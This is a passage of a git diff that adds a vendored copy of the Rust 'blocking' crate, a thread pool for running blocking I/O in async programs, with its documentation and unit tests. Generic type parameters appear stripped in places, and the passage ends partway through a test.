prelude::*}; + +fn main() -> io::Result<()> { + let path = env::args().nth(1).unwrap_or_else(|| ".".into()); + + future::block_on(async { + let mut dir = Unblock::new(fs::read_dir(path)?); + + while let Some(item) = dir.next().await { + println!("{}", item?.file_name().to_string_lossy()); + } + + Ok(()) + }) +} diff --git a/lib/malio/blocking/src/lib.rs b/lib/malio/blocking/src/lib.rs new file mode 100644 index 0000000..4feecd3 --- /dev/null +++ b/lib/malio/blocking/src/lib.rs @@ -0,0 +1,1062 @@ +//! A thread pool for isolating blocking I/O in async programs. +//! +//! Sometimes there's no way to avoid blocking I/O. Consider files or stdin, which have weak async +//! support on modern operating systems. While [IOCP], [AIO], and [io_uring] are possible +//! solutions, they're not always available or ideal. +//! +//! Since blocking is not allowed inside futures, we must move blocking I/O onto a special thread +//! pool provided by this crate. The pool dynamically spawns and stops threads depending on the +//! current number of running I/O jobs. +//! +//! Note that there is a limit on the number of active threads. Once that limit is hit, a running +//! job has to finish before others get a chance to run. When a thread is idle, it waits for the +//! next job or shuts down after a certain timeout. +//! +//! The default number of threads (set to 500) can be altered by setting `BLOCKING_MAX_THREADS` environment +//! variable with value between 1 and 10000. This can also be set, at runtime, via the +//! [`set_max_blocking_threads`] function. +//! +//! [IOCP]: https://en.wikipedia.org/wiki/Input/output_completion_port +//! [AIO]: http://man7.org/linux/man-pages/man2/io_submit.2.html +//! [io_uring]: https://lwn.net/Articles/776703 +//! +//! # Examples +//! +//! Read the contents of a file: +//! +//! ```no_run +//! use blocking::unblock; +//! use std::fs; +//! +//! # futures_lite::future::block_on(async { +//! let contents = unblock(|| fs::read_to_string("file.txt")).await?; +//! println!("{}", contents); +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Read a file and pipe its contents to stdout: +//! +//! ```no_run +//! use blocking::{unblock, Unblock}; +//! use futures_lite::io; +//! use std::fs::File; +//! +//! # futures_lite::future::block_on(async { +//! let input = unblock(|| File::open("file.txt")).await?; +//! let input = Unblock::new(input); +//! let mut output = Unblock::new(std::io::stdout()); +//! +//! io::copy(input, &mut output).await?; +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Iterate over the contents of a directory: +//! +//! ```no_run +//! use blocking::Unblock; +//! use futures_lite::prelude::*; +//! use std::fs; +//! +//! # futures_lite::future::block_on(async { +//! let mut dir = Unblock::new(fs::read_dir(".")?); +//! while let Some(item) = dir.next().await { +//! println!("{}", item?.file_name().to_string_lossy()); +//! } +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Spawn a process: +//! +//! ```no_run +//! use blocking::unblock; +//! use std::process::Command; +//! +//! # futures_lite::future::block_on(async { +//! let out = unblock(|| Command::new("dir").output()).await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![forbid(unsafe_code)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::any::Any; +use std::collections::VecDeque; +use std::fmt; +use std::io::{self, Read, Seek, SeekFrom, Write}; +use std::num::NonZeroUsize; +use std::panic; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Condvar, Mutex, MutexGuard, PoisonError}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +#[cfg(not(target_family = "wasm"))] +use std::env; + +use async_channel::{bounded, Receiver}; +use async_task::Runnable; +use futures_io::{AsyncRead, AsyncSeek, AsyncWrite}; +use futures_lite::{ + future::{self, Future}, + ready, + stream::Stream, +}; +use piper::{pipe, Reader, Writer}; + +#[doc(no_inline)] +pub use async_task::Task; + +/// Default value for max threads that Executor can grow to +#[cfg(not(target_family = "wasm"))] +const DEFAULT_MAX_THREADS: NonZeroUsize = { + if let Some(size) = NonZeroUsize::new(500) { + size + } else { + panic!("DEFAULT_MAX_THREADS is non-zero"); + } +}; + +/// Minimum value for max threads config +#[cfg(not(target_family = "wasm"))] +const MIN_MAX_THREADS: usize = 1; + +/// Maximum value for max threads config +#[cfg(not(target_family = "wasm"))] +const MAX_MAX_THREADS: usize = 10000; + +/// Env variable that allows to override default value for max threads. +#[cfg(not(target_family = "wasm"))] +const MAX_THREADS_ENV: &str = "BLOCKING_MAX_THREADS"; + +/// Set the maximum number of threads used by the backing thread pool. +/// +/// # Example +/// +/// ```no_run +/// use blocking::unblock; +/// use std::fs::{read_dir, File}; +/// use std::io::prelude::*; +/// # use std::num::NonZeroUsize; +/// +/// blocking::set_max_blocking_threads(NonZeroUsize::new(100).unwrap()); +/// +/// # fn test() -> std::io::Result<()> { +/// let mut files = Vec::new(); +/// for entry in read_dir("/path/to/large/directory").unwrap() { +/// files.push(unblock(move || -> std::io::Result { +/// let mut contents = String::new(); +/// let mut file = File::open(entry?.path())?; +/// file.read_to_string(&mut contents)?; +/// Ok(contents) +/// })); +/// } +/// # Ok(()) +/// # } +/// ``` +pub fn set_max_blocking_threads(threads: NonZeroUsize) { + let executor = Executor::get(); + let mut inner = executor + .inner + .lock() + .unwrap_or_else(PoisonError::into_inner); + let old_limit = inner.thread_limit; + inner.thread_limit = Some(threads); + if let Some(old_limit) = old_limit { + // If the limit has decreased, wake up all threads to terminate those over + // the new limit. + if old_limit > threads { + executor.cvar.notify_all(); + } + } +} + +/// The blocking executor. +struct Executor { + /// Inner state of the executor. + inner: Mutex, + + /// Used to put idle threads to sleep and wake them up when new work comes in. + cvar: Condvar, +} + +/// Inner state of the blocking executor. +struct Inner { + /// Number of idle threads in the pool. + /// + /// Idle threads are sleeping, waiting to get a task to run. + idle_count: usize, + + /// Total number of threads in the pool. + /// + /// This is the number of idle threads + the number of active threads. + thread_count: usize, + + /// The queue of blocking tasks. + queue: VecDeque, + + /// Maximum number of threads in the pool + thread_limit: Option, +} + +impl Executor { + #[cfg(not(target_family = "wasm"))] + fn max_threads() -> NonZeroUsize { + match env::var(MAX_THREADS_ENV) { + Ok(v) => v + .parse::() + .ok() + .and_then(|v| NonZeroUsize::new(v.clamp(MIN_MAX_THREADS, MAX_MAX_THREADS))) + .unwrap_or(DEFAULT_MAX_THREADS), + Err(_) => DEFAULT_MAX_THREADS, + } + } + + #[cfg(target_family = "wasm")] + fn max_threads() -> NonZeroUsize { + NonZeroUsize::new(1).unwrap() + } + + /// Get a reference to the global executor. + #[inline] + fn get() -> &'static Self { + #[cfg(not(target_family = "wasm"))] + { + static EXECUTOR: Executor = Executor { + inner: Mutex::new(Inner { + idle_count: 0, + thread_count: 0, + queue: VecDeque::new(), + thread_limit: None, + }), + cvar: Condvar::new(), + }; + + &EXECUTOR + } + + #[cfg(target_family = "wasm")] + panic!("cannot spawn a blocking task on WASM") + } + + /// Spawns a future onto this executor. + /// + /// Returns a [`Task`] handle for the spawned task. + fn spawn(future: impl Future + Send + 'static) -> Task { + let (runnable, task) = async_task::Builder::new().propagate_panic(true).spawn( + move |()| future, + |r| { + // Initialize the executor if we haven't already. + let executor = Self::get(); + + // Schedule the task on our executor. + executor.schedule(r) + }, + ); + runnable.schedule(); + task + } + + /// Runs the main loop on the current thread. + /// + /// This function runs blocking tasks until it becomes idle and times out. + fn main_loop(&'static self) { + #[cfg(feature = "tracing")] + let _span = tracing::trace_span!("blocking::main_loop").entered(); + + let mut inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + loop { + // This thread is not idle anymore because it's going to run tasks. + inner.idle_count -= 1; + + // Run tasks in the queue. + while let Some(runnable) = inner.queue.pop_front() { + // We have found a task - grow the pool if needed. + self.grow_pool(inner); + + // Run the task. + panic::catch_unwind(|| runnable.run()).ok(); + + // Re-lock the inner state and continue. + inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + } + + // This thread is now becoming idle. + inner.idle_count += 1; + + // Put the thread to sleep until another task is scheduled. + let timeout = Duration::from_millis(500); + #[cfg(feature = "tracing")] + tracing::trace!(?timeout, "going to sleep"); + let (lock, res) = self.cvar.wait_timeout(inner, timeout).unwrap(); + inner = lock; + + // If there are too many threads active in the pool, stop this thread. + if (Some(inner.thread_count) > inner.thread_limit.map(NonZeroUsize::get)) + // If there are no tasks after a while, stop this thread. + && (res.timed_out() && inner.queue.is_empty()) + { + inner.idle_count -= 1; + inner.thread_count -= 1; + break; + } + + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + } + + #[cfg(feature = "tracing")] + tracing::trace!("shutting down due to lack of tasks"); + } + + /// Schedules a runnable task for execution. + fn schedule(&'static self, runnable: Runnable) { + let mut inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + inner.queue.push_back(runnable); + + // Notify a sleeping thread and spawn more threads if needed. + self.cvar.notify_one(); + self.grow_pool(inner); + } + + /// Spawns more blocking threads if the pool is overloaded with work. + fn grow_pool(&'static self, mut inner: MutexGuard<'static, Inner>) { + #[cfg(feature = "tracing")] + let _span = tracing::trace_span!( + "grow_pool", + queue_len = inner.queue.len(), + idle_count = inner.idle_count, + thread_count = inner.thread_count, + ) + .entered(); + + let thread_limit = inner + .thread_limit + .get_or_insert_with(Self::max_threads) + .get(); + + // If runnable tasks greatly outnumber idle threads and there aren't too many threads + // already, then be aggressive: wake all idle threads and spawn one more thread. + while inner.queue.len() > inner.idle_count * 5 && inner.thread_count < thread_limit { + #[cfg(feature = "tracing")] + tracing::trace!("spawning a new thread to handle blocking tasks"); + + // The new thread starts in idle state. + inner.idle_count += 1; + inner.thread_count += 1; + + // Notify all existing idle threads because we need to hurry up. + self.cvar.notify_all(); + + // Generate a new thread ID. + static ID: AtomicUsize = AtomicUsize::new(1); + let id = ID.fetch_add(1, Ordering::Relaxed); + + // Spawn the new thread. + if let Err(_e) = thread::Builder::new() + .name(format!("blocking-{id}")) + .spawn(move || self.main_loop()) + { + // We were unable to spawn the thread, so we need to undo the state changes. + #[cfg(feature = "tracing")] + tracing::error!("failed to spawn a blocking thread: {}", _e); + inner.idle_count -= 1; + inner.thread_count -= 1; + + // The current number of threads is likely to be the system's upper limit, so update + // thread_limit accordingly. + inner.thread_limit = { + let new_limit = inner.thread_count; + + // If the limit is about to be set to zero, set it to one instead so that if, + // in the future, we are able to spawn more threads, we will be able to do so. + Some(NonZeroUsize::new(new_limit).unwrap_or_else(|| { + #[cfg(feature = "tracing")] + tracing::warn!( + "attempted to lower thread_limit to zero; setting to one instead" + ); + NonZeroUsize::new(1).unwrap() + })) + }; + } + } + } +} + +/// Runs blocking code on a thread pool. +/// +/// # Examples +/// +/// Read the contents of a file: +/// +/// ```no_run +/// use blocking::unblock; +/// use std::fs; +/// +/// # futures_lite::future::block_on(async { +/// let contents = unblock(|| fs::read_to_string("file.txt")).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Spawn a process: +/// +/// ```no_run +/// use blocking::unblock; +/// use std::process::Command; +/// +/// # futures_lite::future::block_on(async { +/// let out = unblock(|| Command::new("dir").output()).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub fn unblock(f: F) -> Task +where + F: FnOnce() -> T + Send + 'static, + T: Send + 'static, +{ + Executor::spawn(async move { f() }) +} + +/// Runs blocking I/O on a thread pool. +/// +/// Blocking I/O must be isolated from async code. This type moves blocking I/O operations onto a +/// special thread pool while exposing a familiar async interface. +/// +/// This type implements traits [`Stream`], [`AsyncRead`], [`AsyncWrite`], or [`AsyncSeek`] if the +/// inner type implements [`Iterator`], [`Read`], [`Write`], or [`Seek`], respectively. +/// +/// # Caveats +/// +/// [`Unblock`] is a low-level primitive, and as such it comes with some caveats. +/// +/// For higher-level primitives built on top of [`Unblock`], look into [`async-fs`] or +/// [`async-process`] (on Windows). +/// +/// [`async-fs`]: https://github.com/smol-rs/async-fs +/// [`async-process`]: https://github.com/smol-rs/async-process +/// +/// [`Unblock`] communicates with I/O operations on the thread pool through a pipe. That means an +/// async read/write operation simply receives/sends some bytes from/into the pipe. When in reading +/// mode, the thread pool reads bytes from the I/O handle and forwards them into the pipe until it +/// becomes full. When in writing mode, the thread pool reads bytes from the pipe and forwards them +/// into the I/O handle. +/// +/// Use [`Unblock::with_capacity()`] to configure the capacity of the pipe. +/// +/// ### Reading +/// +/// If you create an [`Unblock`]`<`[`Stdin`][`std::io::Stdin`]`>`, read some bytes from it, +/// and then drop it, a blocked read operation may keep hanging on the thread pool. The next +/// attempt to read from stdin will lose bytes read by the hanging operation. This is a difficult +/// problem to solve, so make sure you only use a single stdin handle for the duration of the +/// entire program. +/// +/// ### Writing +/// +/// If writing data through the [`AsyncWrite`] trait, make sure to flush before dropping the +/// [`Unblock`] handle or some buffered data might get lost. +/// +/// ### Seeking +/// +/// Because of buffering in the pipe, if [`Unblock`] wraps a [`File`][`std::fs::File`], a single +/// read operation may move the file cursor farther than is the span of the operation. In fact, +/// reading just keeps going in the background until the pipe gets full. Keep this mind when +/// using [`AsyncSeek`] with [relative][`SeekFrom::Current`] offsets. +/// +/// # Examples +/// +/// ``` +/// use blocking::Unblock; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stdout = Unblock::new(std::io::stdout()); +/// stdout.write_all(b"Hello world!").await?; +/// stdout.flush().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Unblock { + state: State, + cap: Option, +} + +impl Unblock { + /// Wraps a blocking I/O handle into the async [`Unblock`] interface. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::Unblock; + /// + /// let stdin = Unblock::new(std::io::stdin()); + /// ``` + pub fn new(io: T) -> Unblock { + Unblock { + state: State::Idle(Some(Box::new(io))), + cap: None, + } + } + + /// Wraps a blocking I/O handle into the async [`Unblock`] interface with a custom buffer + /// capacity. + /// + /// When communicating with the inner [`Stream`]/[`Read`]/[`Write`] type from async code, data + /// transferred between blocking and async code goes through a buffer of limited capacity. This + /// constructor configures that capacity. + /// + /// The default capacity is: + /// + /// * For [`Iterator`] types: 8192 items. + /// * For [`Read`]/[`Write`] types: 8 MB. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::Unblock; + /// + /// let stdout = Unblock::with_capacity(64 * 1024, std::io::stdout()); + /// ``` + pub fn with_capacity(cap: usize, io: T) -> Unblock { + Unblock { + state: State::Idle(Some(Box::new(io))), + cap: Some(cap), + } + } + + /// Gets a mutable reference to the blocking I/O handle. + /// + /// This is an async method because the I/O handle might be on the thread pool and needs to + /// be moved onto the current thread before we can get a reference to it. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let mut file = Unblock::new(file); + /// + /// let metadata = file.get_mut().await.metadata()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn get_mut(&mut self) -> &mut T { + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| self.poll_stop(cx)).await.ok(); + + // Assume idle state and get a reference to the inner value. + match &mut self.state { + State::Idle(t) => t.as_mut().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + } + } + + /// Performs a blocking operation on the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let mut file = Unblock::new(file); + /// + /// let metadata = file.with_mut(|f| f.metadata()).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn with_mut(&mut self, op: F) -> R + where + F: FnOnce(&mut T) -> R + Send + 'static, + R: Send + 'static, + T: Send + 'static, + { + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| self.poll_stop(cx)).await.ok(); + + // Assume idle state and take out the inner value. + let mut t = match &mut self.state { + State::Idle(t) => t.take().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + }; + + let (sender, receiver) = bounded(1); + let task = Executor::spawn(async move { + sender.try_send(op(&mut t)).ok(); + t + }); + self.state = State::WithMut(task); + + receiver + .recv() + .await + .expect("`Unblock::with_mut()` operation has panicked") + } + + /// Extracts the inner blocking I/O handle. + /// + /// This is an async method because the I/O handle might be on the thread pool and needs to + /// be moved onto the current thread before we can extract it. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use futures_lite::prelude::*; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let file = Unblock::new(file); + /// + /// let file = file.into_inner().await; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_inner(self) -> T { + // There's a bug in rustdoc causing it to render `mut self` as `__arg0: Self`, so we just + // bind `self` to a local mutable variable. + let mut this = self; + + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| this.poll_stop(cx)).await.ok(); + + // Assume idle state and extract the inner value. + match &mut this.state { + State::Idle(t) => *t.take().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + } + } + + /// Waits for the running task to stop. + /// + /// On success, the state machine is moved into the idle state. + fn poll_stop(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + State::Idle(_) => return Poll::Ready(Ok(())), + + State::WithMut(task) => { + // Poll the task to wait for it to finish. + let io = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(io)); + } + + State::Streaming(any, task) => { + // Drop the receiver to close the channel. This stops the `send()` operation in + // the task, after which the task returns the iterator back. + any.take(); + + // Poll the task to retrieve the iterator. + let iter = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(iter)); + } + + State::Reading(reader, task) => { + // Drop the reader to close the pipe. This stops copying inside the task, after + // which the task returns the I/O handle back. + reader.take(); + + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + State::Writing(writer, task) => { + // Drop the writer to close the pipe. This stops copying inside the task, after + // which the task flushes the I/O handle and + writer.take(); + + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + State::Seeking(task) => { + // Poll the task to wait for it to finish. + let (_, res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + } + } + } +} + +impl fmt::Debug for Unblock { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct Closed; + impl fmt::Debug for Closed { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + struct Blocked; + impl fmt::Debug for Blocked { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + match &self.state { + State::Idle(None) => f.debug_struct("Unblock").field("io", &Closed).finish(), + State::Idle(Some(io)) => { + let io: &T = io; + f.debug_struct("Unblock").field("io", io).finish() + } + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => f.debug_struct("Unblock").field("io", &Blocked).finish(), + } + } +} + +/// Current state of a blocking task. +enum State { + /// There is no blocking task. + /// + /// The inner value is readily available, unless it has already been extracted. The value is + /// extracted out by [`Unblock::into_inner()`], [`AsyncWrite::poll_close()`], or by awaiting + /// [`Unblock`]. + Idle(Option>), + + /// A [`Unblock::with_mut()`] closure was spawned and is still running. + WithMut(Task>), + + /// The inner value is an [`Iterator`] currently iterating in a task. + /// + /// The `dyn Any` value here is a `Pin::Item>>>`. + Streaming(Option>, Task>), + + /// The inner value is a [`Read`] currently reading in a task. + Reading(Option, Task<(io::Result<()>, Box)>), + + /// The inner value is a [`Write`] currently writing in a task. + Writing(Option, Task<(io::Result<()>, Box)>), + + /// The inner value is a [`Seek`] currently seeking in a task. + Seeking(Task<(SeekFrom, io::Result, Box)>), +} + +impl Stream for Unblock +where + T::Item: Send + 'static, +{ + type Item = T::Item; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active streaming state, stop the running task. + State::WithMut(..) + | State::Streaming(None, _) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx)).ok(); + } + + // If idle, start a streaming task. + State::Idle(iter) => { + // Take the iterator out to run it on a blocking task. + let mut iter = iter.take().expect("inner iterator was taken out"); + + // This channel capacity seems to work well in practice. If it's too low, there + // will be too much synchronization between tasks. If too high, memory + // consumption increases. + let (sender, receiver) = bounded(self.cap.unwrap_or(8 * 1024)); // 8192 items + + // Spawn a blocking task that runs the iterator and returns it when done. + let task = Executor::spawn(async move { + for item in &mut iter { + if sender.send(item).await.is_err() { + break; + } + } + iter + }); + + // Move into the busy state and poll again. + self.state = State::Streaming(Some(Box::new(Box::pin(receiver))), task); + } + + // If streaming, receive an item. + State::Streaming(Some(any), task) => { + let receiver = any.downcast_mut::>>>().unwrap(); + + // Poll the channel. + let opt = ready!(receiver.as_mut().poll_next(cx)); + + // If the channel is closed, retrieve the iterator back from the blocking task. + // This is not really a required step, but it's cleaner to drop the iterator on + // the same thread that created it. + if opt.is_none() { + // Poll the task to retrieve the iterator. + let iter = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(iter)); + } + + return Poll::Ready(opt); + } + } + } + } +} + +impl AsyncRead for Unblock { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active reading state, stop the running task. + State::WithMut(..) + | State::Reading(None, _) + | State::Streaming(..) + | State::Writing(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // If idle, start a reading task. + State::Idle(io) => { + // Take the I/O handle out to read it on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + // This pipe capacity seems to work well in practice. If it's too low, there + // will be too much synchronization between tasks. If too high, memory + // consumption increases. + let (reader, mut writer) = pipe(self.cap.unwrap_or(8 * 1024 * 1024)); // 8 MB + + // Spawn a blocking task that reads and returns the I/O handle when done. + let task = Executor::spawn(async move { + // Copy bytes from the I/O handle into the pipe until the pipe is closed or + // an error occurs. + loop { + match future::poll_fn(|cx| writer.poll_fill(cx, &mut io)).await { + Ok(0) => return (Ok(()), io), + Ok(_) => {} + Err(err) => return (Err(err), io), + } + } + }); + + // Move into the busy state and poll again. + self.state = State::Reading(Some(reader), task); + } + + // If reading, read bytes from the pipe. + State::Reading(Some(reader), task) => { + // Poll the pipe. + let n = ready!(reader.poll_drain(cx, buf))?; + + // If the pipe is closed, retrieve the I/O handle back from the blocking task. + // This is not really a required step, but it's cleaner to drop the handle on + // the same thread that created it. + if n == 0 { + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + return Poll::Ready(Ok(n)); + } + } + } + } +} + +impl AsyncWrite for Unblock { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active writing state, stop the running task. + State::WithMut(..) + | State::Writing(None, _) + | State::Streaming(..) + | State::Reading(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // If idle, start the writing task. + State::Idle(io) => { + // Take the I/O handle out to write on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + // This pipe capacity seems to work well in practice. If it's too low, there will + // be too much synchronization between tasks. If too high, memory consumption + // increases. + let (mut reader, writer) = pipe(self.cap.unwrap_or(8 * 1024 * 1024)); // 8 MB + + // Spawn a blocking task that writes and returns the I/O handle when done. + let task = Executor::spawn(async move { + // Copy bytes from the pipe into the I/O handle until the pipe is closed or an + // error occurs. Flush the I/O handle at the end. + loop { + match future::poll_fn(|cx| reader.poll_drain(cx, &mut io)).await { + Ok(0) => return (io.flush(), io), + Ok(_) => {} + Err(err) => { + io.flush().ok(); + return (Err(err), io); + } + } + } + }); + + // Move into the busy state and poll again. + self.state = State::Writing(Some(writer), task); + } + + // If writing, write more bytes into the pipe. + State::Writing(Some(writer), _) => return writer.poll_fill(cx, buf), + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + // If not in idle state, stop the running task. + State::WithMut(..) + | State::Streaming(..) + | State::Writing(..) + | State::Reading(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // Idle implies flushed. + State::Idle(_) => return Poll::Ready(Ok(())), + } + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // First, make sure the I/O handle is flushed. + ready!(Pin::new(&mut self).poll_flush(cx))?; + + // Then move into the idle state with no I/O handle, thus dropping it. + self.state = State::Idle(None); + Poll::Ready(Ok(())) + } +} + +impl AsyncSeek for Unblock { + fn poll_seek( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + pos: SeekFrom, + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle state, stop the running task. + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + State::Idle(io) => { + // Take the I/O handle out to seek on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + let task = Executor::spawn(async move { + let res = io.seek(pos); + (pos, res, io) + }); + self.state = State::Seeking(task); + } + + State::Seeking(task) => { + // Poll the task to wait for it to finish. + let (original_pos, res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + let current = res?; + + // If the `pos` argument matches the original one, return the result. + if original_pos == pos { + return Poll::Ready(Ok(current)); + } + } + } + } + } +} + +#[cfg(all(test, not(target_family = "wasm")))] +mod tests { + use super::*; + + #[test] + fn test_max_threads() { + // properly set env var + env::set_var(MAX_THREADS_ENV, "100"); + assert_eq!(100, Executor::max_threads().get()); + + // passed value below minimum, so we set it to minimum + env::set_var(MAX_THREADS_ENV, "0"); + assert_eq!(1, Executor::max_threads().get()); + + // passed value above maximum, so we set to allowed maximum + env::set_var(MAX_THREADS_ENV, "50000"); + assert_eq!(10000, Executor::max_threads().get()); + + // no env var, use default + env::set_var(MAX_THREADS_ENV, ""); + assert_eq!(500, Executor::max_threads().get()); + + // not a number, use default + env::set_var(MAX_THREADS_ENV, "NOTINT"); + assert_eq!(500, Executor::max_threads().get()); + } +} diff --git a/lib/malio/blocking/tests/unblock.rs b/lib/malio/blocking/tests/unblock.rs new file mode 100644 index 0000000..2f8729a --- /dev/null +++ b/lib/malio/blocking/tests/unblock.rs @@ -0,0 +1,140 @@ +#![allow(clippy::needless_range_loop)] + +use std::io::{Cursor, SeekFrom}; +use std::panic::AssertUnwindSafe; +use std::sync::mpsc; +use std::thread; +use std::time::{Duration, Instant}; + +use blocking::{unblock, Unblock}; +use futures_lite::{future, pin, prelude::*}; + +#[test] +fn sleep() { + let dur = Duration::from_secs(1); + let start = Instant::now(); + + future::block_on(async { + let f = unblock(move || thread::sleep(dur)); + pin!(f); + assert!(future::poll_once(&mut f).await.is_none()); + f.await; + }); + + assert!(start.elapsed() >= dur); +} + +#[test] +fn chan() { + const N: i32 = if cfg!(miri) { 50 } else { 100_000 }; + + future::block_on(async { + let (s, r) = mpsc::sync_channel::(100); + let handle = thread::spawn(move || { + for i in 0..N { + s.send(i).unwrap(); + } + }); + + let mut r = Unblock::new(r.into_iter()); + for i in 0..N { + assert_eq!(r.next().await, Some(i)); + } + + handle.join().unwrap(); + assert!(r.next().await.is_none()); + }) +} + +#[test] +fn read() { + const N: usize = if cfg!(miri) { 20_000 } else { 20_000_000 }; + + future::block_on(async { + let mut v1 = vec![0u8; N]; + for i in 0..v1.len() { + v1[i] = i as u8; + } + let mut v1 = Unblock::new(Cursor::new(v1)); + + let mut v2 = vec![]; + v1.read_to_end(&mut v2).await.unwrap(); + + let v1 = v1.into_inner().await.into_inner(); + assert!(v1 == v2); + }) +} + +#[test] +fn write() { + const N: usize = if cfg!(miri) { 20_000 } else { 20_000_000 }; + + future::block_on(async { + let mut v1 = vec![0u8; N]; + for i in 0..v1.len() { + v1[i] = i as u8; + } + + let v2 = vec![]; + let mut v2 = Unblock::new(Cursor::new(v2)); + v2.write_all(&v1).await.unwrap(); + + let v2 = v2.into_inner().await.into_inner(); + assert!(v1 == v2); + }) +} + +#[test] +fn seek() { + future::block_on(async { + let len = 1_000; + let mut v = vec![0u8; len]; + for i in 0..len { + v[i] = i as u8; + } + let mut v = Unblock::new(Cursor::new(v)); + + assert_eq!(v.seek(SeekFrom::Current(7i64)).await.unwrap(), 7); + assert_eq!(v.seek(SeekFrom::Current(8i64)).await.unwrap(), 15); + + let mut byte = [0u8]; + v.read(&mut byte).await.unwrap(); + assert_eq!(byte[0], 15); + }) +} + +#[test] +fn panic() { + future::block_on(async { + let x = unblock(|| panic!("expected failure")); + let panic = x.catch_unwind().await.unwrap_err(); + + // Make sure it's our panic and not an unrelated one. + let msg = if let Some(msg) = panic.downcast_ref::<&'static str>() { + msg.to_string() + } else { + *panic.downcast::().unwrap() + }; + 